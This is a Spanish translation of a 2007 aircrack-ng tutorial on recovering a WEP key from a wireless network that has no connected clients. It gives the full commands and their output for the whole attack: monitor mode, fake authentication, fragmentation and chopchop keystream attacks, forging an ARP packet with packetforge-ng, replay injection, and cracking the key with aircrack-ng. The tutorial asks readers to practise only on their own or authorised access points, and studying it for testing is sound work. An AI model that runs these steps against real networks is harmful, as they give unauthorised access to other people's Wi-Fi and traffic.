Version: 1.09 de 16 de Mayo de 2007
By: darkAudax
Video: http://video.aircrack-ng.org/noclient/
Traducción: Revisada el 17 de Julio de 2007
Hay muchas veces que encontramos redes wireless que no tienen clientes conectados. Este tutorial describe como obtener la clave WEP cuando no hay clientes. Aunque este tema ha sido discutido muchas veces en el Foro, este tutorial está hecho con la intención de entrar en más detalles y poner algunos ejemplos.
Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router con el que quieras practicar este ateque.
Antes de nada hay que darles las gracias a los Desarrolladores de la suite Aircrack-ng por crear estas herramientas tan fantásticas.
Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas.
Suponemos que:
Asegurate de que cumples todas las condiciones, sino no funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless.
En los ejemplos, la opción “guión doble bssid” se muestra como “- -bssid”. Acuérdate de borrar el espacio entre los dos guiones cuando lo utilices en la vida real. Esto tambien se aplica a “- -ivs”.
En este tutorial:
Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.
Aquí estań los pasos que vamos a seguir:
Para ser honesto, nosotros no hemos cambiado la dirección MAC de nuestra tarjeta.
Esto es un recordatorio para que uses tu dirección MAC real y no una falsa. En el paso 3 es importante que la dirección MAC que se use sea la de la nuestra tarjeta, para realizar la falsa autenticación. Si quieres cambiar la dirección MAC de tu tarjeta puedes consultar este : post en inglés FAQ: How do I change my card's MAC address ?.
Escribe el siguiente comando para poner la tarjeta wireless en modo monitor en el canal 9:
airmon-ng start wifi0 9
Nota: En este comando usamos “wifi0” en lugar de nuestra interface “ath0”. Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old.
El sistema nos responderá:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
Puedes observar que “ath0” aparece colocada en modo monitor.
Escribe “ifconfig ath0 up” para levantar la interface ath0 que usaremos a continuación.
Para confirmar que la interface está bien configurada, escribimos “iwconfig”.
El sistema nos responderá:
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:09:5B:EC:EE:F2 Bit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en “Access Point” vemos la dirección MAC de nuestra tarjeta wireless. Es importante comprobar toda esta información antes de continuar, ya que sino no funcionará.
Para ver la correspondencia entre frecuencia y canal, mira: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . Así obtendrás la frecuencia para cada canal.
Este es un paso muy importante.
Para que un punto de acceso acepte un paquete, la dirección MAC debe estar previamente asociada. Si la dirección MAC con la cual estas inyectando no etá asociada, el AP ignorará el paquete y enviará un paquete de desautentificación. En este caso, no se crearán nuevos IVs porque el AP está ignorando todos los paquetes inyectados.
La falta de asociación con el punto de acceso es la razón más habitual por la cual falla la inyección.
Para asociarse con un punto de acceso, usa el comando:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Donde:
Si tenemos éxito aparecerá algo como esto:
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
Otra variación que puede funcionar en algunos puntos de acceso:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Donde:
Si tenemos éxito aparecerá algo como esto:
18:22:32 Sending Authentication Request 18:22:32 Authentication successful 18:22:32 Sending Association Request 18:22:32 Association successful :-) 18:22:42 Sending keep-alive packet 18:22:52 Sending keep-alive packet # etc....
Ahora ponemos un ejemplo de un fallo de autenticación:
8:28:02 Sending Authentication Request 18:28:02 Authentication successful 18:28:02 Sending Association Request 18:28:02 Association successful :-) 18:28:02 Got a deauthentication packet! 18:28:05 Sending Authentication Request 18:28:05 Authentication successful 18:28:05 Sending Association Request 18:28:10 Sending Authentication Request 18:28:10 Authentication successful 18:28:10 Sending Association Request
Presta atención a “Got a deauthentication packet” y los continuos intentos de asociación. No se puede pasar al siguiente paso hasta que funcione la falsa autenticación de forma correcta.
tcpdump -n -e -s0 -vvv -i ath0
A continuación puedes ver el mensaje de error que estamos buscando:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
Presta atención que el punto de acceso (00:14:6c:7e:40:80) le está diciendo a la tarjeta (00:09:5B:EC:EE:F2) que no está asociada. Lo que significa que el AP no aceptará los paquetes que inyectemos.
Si solo quieres seleccionar los paquetes de deautenticación con tcpdump usa: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. Puedes cambiar la palabra “DeAuth” para escoger otros paquetes que quieras buscar.
El objetivo de chopchop y del ataque de fragmentación es obtener un archivo PRGA (del ingles “pseudo random generation algorithm” o algoritmo de generación seudo aleatoria). Este PRGA no es la clave WEP y no se puede usar para desencriptar paquetes. Aunque, si puede usarse para crear nuevos paquetes encriptados con la clave WEP para inyectarlos. La creación de nuevos paquetes la veremos más adelante en el tutorial.
Tanto chopchop como el ataque de fragmentación pueden ser usados para obtener el archivo PRGA. El resultado es el mismo, por lo que usa el que mejor te funcione. Los pros y contras de cada ataque están descritos en la página de aircrack-ng.
A continuación exponemos primero el ataque de fragmentación. Abrimos otra consola y escribimos:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Donde:
La respuesta que obtendremos será:
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0 Waiting for a data packet... Read 127 packets... Size: 114, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = 01:00:5E:00:00:FB Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 0100 5e00 00fb 0014 6c7e 4080 .B....^.....l~@. 0x0010: 0040 f477 e5c9 6052 8c00 0000 3073 d265 .@.w..`R....0s.e 0x0020: c402 790b 2293 c7d5 89c5 4136 7283 29df ..y.".....A6r.). 0x0030: 4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b N.^._CO..7?.M..; 0x0040: 8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5 .DX...z.+.>...O. 0x0050: 4563 906d 0d90 88c4 5532 a602 a8ea f8e2 Ec.m....U2...... 0x0060: c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1 .1..+(...."m.qj. 0x0070: 9c9f .. Use this packet ? y
Cuando recibamos un paquete del punto de acceso, escribe “y” para continuar. Puede que sea necesario probar unos pocos paquetes para tener éxito.
Si tenemos éxito aparecerá algo como esto:
Saving chosen packet in replay_src-0203-180328.cap Data packet found! Sending fragmented packet Got RELAYED packet!! Thats our ARP packet! Trying to get 384 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Trying to get 1500 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Saving keystream in fragment-0203-180343.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Éxito! El archivo “fragment-0203-180343.xor” lo podremos usar en el siguiente paso para generar un paquete arp.
Si con el ataque de fragmentación no hemos tenido éxito, podemos probar la técnica chopchop. Para ello ejecuta:
aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2
Donde:
La respuesta que obtendremos será:
Read 165 packets... Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:...._.." 0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H......._=..C 0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%.[.(s 0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.q.r.e.i. 0x0050: cfeb 4a72 be46 ..Jr.F Use this packet ? y
Contesta “y” y el proceso continuará.
Saving chosen packet in replay_src-0201-191639.cap Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms Offset 59 (50% done) | xor = 91 | pt = 00 | 113 frames written in 339ms Offset 58 (51% done) | xor = 25 | pt = 00 | 184 frames written in 552ms Offset 57 (53% done) | xor = 94 | pt = 00 | 33 frames written in 99ms Offset 56 (55% done) | xor = F3 | pt = 00 | 193 frames written in 579ms Offset 55 (57% done) | xor = D6 | pt = 00 | 17 frames written in 51ms Offset 54 (59% done) | xor = FA | pt = 00 | 81 frames written in 243ms Offset 53 (61% done) | xor = EA | pt = 01 | 95 frames written in 285ms Offset 52 (63% done) | xor = 5D | pt = 37 | 24 frames written in 72ms Offset 51 (65% done) | xor = 33 | pt = A8 | 20 frames written in 59ms Offset 50 (67% done) | xor = CC | pt = C0 | 97 frames written in 291ms Offset 49 (69% done) | xor = 03 | pt = C9 | 188 frames written in 566ms Offset 48 (71% done) | xor = 34 | pt = E5 | 48 frames written in 142ms Offset 47 (73% done) | xor = 34 | pt = 77 | 64 frames written in 192ms Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames written in 759ms Offset 45 (76% done) | xor = 98 | pt = 40 | 109 frames written in 327ms Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms Offset 43 (80% done) | xor = 5E | pt = 01 | 194 frames written in 583ms Offset 42 (82% done) | xor = AF | pt = 00 | 99 frames written in 296ms Offset 41 (84% done) | xor = C4 | pt = 04 | 164 frames written in 492ms Offset 40 (86% done) | xor = CE | pt = 06 | 69 frames written in 207ms Offset 39 (88% done) | xor = 9D | pt = 00 | 137 frames written in 411ms Offset 38 (90% done) | xor = FD | pt = 08 | 229 frames written in 688ms Offset 37 (92% done) | xor = 13 | pt = 01 | 232 frames written in 695ms Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms Sent 957 packets, current guess: B9... The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation. Saving plaintext in replay_dec-0201-191706.cap Saving keystream in replay_dec-0201-191706.xor Completed in 21s (2.29 bytes/s)
Fantástico! El archivo “replay_dec-0201-191706.xor” lo podremos usar en el siguiente paso para generar un paquete arp.
reading from file replay_dec-0201-191706.cap, link-type IEEE802_11 (802.11) 19:17:06.842866 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:e5:c9 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.1.12 tell 192.168.1.1
En el paso anterior hemos obtenido el PRGA. No importa con que ataque hemos generado el PRGA. Este PRGA se encuentra en los archivos con extensión “xor”. Podemos entonces usar este PRGA para generar un paquete para inyectar. Generaremos un paquete arp para la inyección. El objetivo es que el punto de acceso reenvie continuamente el paquete arp inyectado. Cuando lo reenvie obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP.
Pero primero vamos a generar el paquete arp para la inyección, escribiendo:
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0203-180343.xor -w arp-request
Donde:
La respuesta que obtendremos será:
Wrote packet to: arp-request
tcpdump -n -vvv -e -s0 -r arp-request
reading from file arp-request, link-type IEEE802_11 (802.11) 10:49:17.456350 WEP Encrypted 258us BSSID:00:14:6c:7e:40:80 SA:00:09:5b:ec:ee:f2 DA:Broadcast Data IV: 8f Pad 0 KeyID 0
Como estamos probando con nuestro propio AP (si no es así NO CONTINUES!), desencriptamos el paquete y nos aseguramos de que es correcto. Este paso no es necesario, solo sirve para comprobar que hemos generado un paquete correcto.
Escribimos: “airdecap-ng -e teddy -w <tu clave WEP> arp-request”. Y para ver el paquete desencriptado: “tcpdump -n -r arp-request-dec”. Deberíamos observar algo como esto:
reading from file arp-request-dec, link-type EN10MB (Ethernet) 10:49:17.456350 arp who-has 255.255.255.255 tell 255.255.255.255
Abrir otra consola para capturar los IVs generados. Y escribir:
airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w capture ath0
Donde:
Usando la consola en la que generamos el paquete arp, escribimos:
aireplay-ng -2 -r arp-request ath0
Donde:
Obtendremos la siguiente respuesta:
Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:09:5B:EC:EE:F2 0x0000: 0841 0201 0014 6c7e 4080 0009 5bec eef2 .A....l~@...[... 0x0010: ffff ffff ffff 8001 8f00 0000 7af3 8be4 ............z... 0x0020: c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5 ...........q.Z8. 0x0030: f286 fdb3 55ee 113e da14 fb19 17cc 0b5e ....U..>.......^ 0x0040: 6ada 92f2 j... Use this packet ? y
Escribimos “y” para usar este paquete. Veremos cuantos paquetes estamos inyectando y se nos recuerda que iniciemos airodump-ng si no lo hemos hecho todavía:
Saving chosen packet in replay_src-0204-104917.cap You should also start airodump-ng to capture replies. End of file.
Mientras este comando se está ejecutando de forma exitosa, en la ventana de airodump-ng veremos algo similar a esto:
CH 9 ][ Elapsed: 16 s ][ 2007-02-04 11:04 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 47 100 179 2689 336 9 11 WEP WEP teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:09:5B:EC:EE:F2 29 0 2707
Puedes observar que solo hay un punto de acceso puesto que hemos incluido en airodump-ng el filtro para limitar la captura a un único BSSID. Tambien observa que los paquetes de la tarjeta son aproximadamente los mismos que los paquetes (data) del BSSID. Esto significa que la inyección está funcionando bien y se pierden pocos paquetesl. Tambien observa la velocidad de inyección (#/s) de 336 paquetes por segundo, lo cual es un indicador de que la inyección está funcionando muy bien. Esta es una situación “ideal” de inyección.
Inicia otra consola y escribe:
aircrack-ng -z -b 00:14:6C:7E:40:80 capture*.cap
Donde:
Puedes ejecutar aircrack-ng mientras capturas paquetes. En poco tiempo, verás la clave WEP. Usando el método PTW, necesitarás alrededor de 20,000 paquetes de datos para una clave de 64 bit y 40,000 para claves de 128 bit. Recuerda que el métodoPTW solo funciona con paquetes ARP. Como este tutorial solo cubre este tipo de paquetes no tendrás problema ninguno. El otro requerimiento es que has de capturar con airodump archivos *.cap, lo que significa que no puedes usar laopción ”- -ivs“.
Si no usas la opción ”-z“, se aplicará el método FMS/Korek. Necesitarás aproximadamente 250,000 IVs para una clave WEP de 64 bit y 1,500,000 IVs para claves de 128 bit. Esto es aproximado y hay muchas variables que influyen en el número de IVs necesarios para obtener la clave WEP.
Problemas:
Existe un pequeño engaño que simplifica el crackeo de la clave WEP sin clientes. Básicamente consiste en recoger cualquier paquete “broadcast” del punto de acceso y convertirlo para que el punto de acceso genere un nuevo IV.
Es importante que tengas en cuenta que si usas este truco, no podrás utilizar la opción ”-z“ del método PTW con aircrack-ng. Esto se debe a que el método PTW requiere paquetes arp y de esta forma no los generamos.
OK, ahora te estarás preguntando ¿porque no te enseño esta técnica paso a paso?. La razón es que con esta técnica se reenvian todos los paquetes que recibas. Por lo que si recibes un paquete de 1000 byte entonces reenviaras 1000 bytes. Esto reduce de forma muy importante el número de paquetes capturados por segundo. Aunque, como ventaja podemos destacar que es muy simple y muy fácil de hacer. Además puede que tengas suerte y que recibas un paquete muy pequeño para reenviar. En este caso, esta técnica funcionará tan bien como la descrita con anterioridad en este tutorial.
Hay que tener en cuenta las mismas consideraciones y realizar con anterioridad una falsa autenticación.
Escribe el siguiente comando:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Donde:
El sistema nos contestará:
Read 698 packets... Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:D0:CF:03:34:8C 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 00d0 cf03 348c a0f4 2000 0000 e233 962a ....4... ....3.* 0x0020: 90b5 fe67 41e0 9dd5 7271 b8ed ed23 8eda ...gA...rq...#.. 0x0030: ef55 d7b0 a56f bc16 355f 8986 a7ab d495 .U...o..5_...... 0x0040: 1daa a308 6a70 4465 9fa6 5467 d588 c10c ....jpDe..Tg.... 0x0050: f043 09f6 5418 .C..T. Use this packet ? y
Escribes “y” para seleccionar el paquete y empezar la inyección. Recuerda, cuanto más pequeño sea el paquete mucho mejor. Al empezar la inyección verás algo como esto:
Saving chosen packet in replay_src-0411-145110.cap Sent 10204 packets...(455 pps)
Si aun no has iniciado airodump-ng, ejecútalo ahora. Una vez que tengas suficientes IVs, puedes iniciar aircrack-ng e intentar averiguar la clave WEP.
Otra variación de este ataque es usar paquetes de una captura anterior. Debes de tener guardados los paquetes enteros, y no solo los IVs.
A continuación puedes ver como sería el comando:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -r capture-01.cap ath0
Donde ”-r capture-01.cap“ es el archivo de una captura anterior.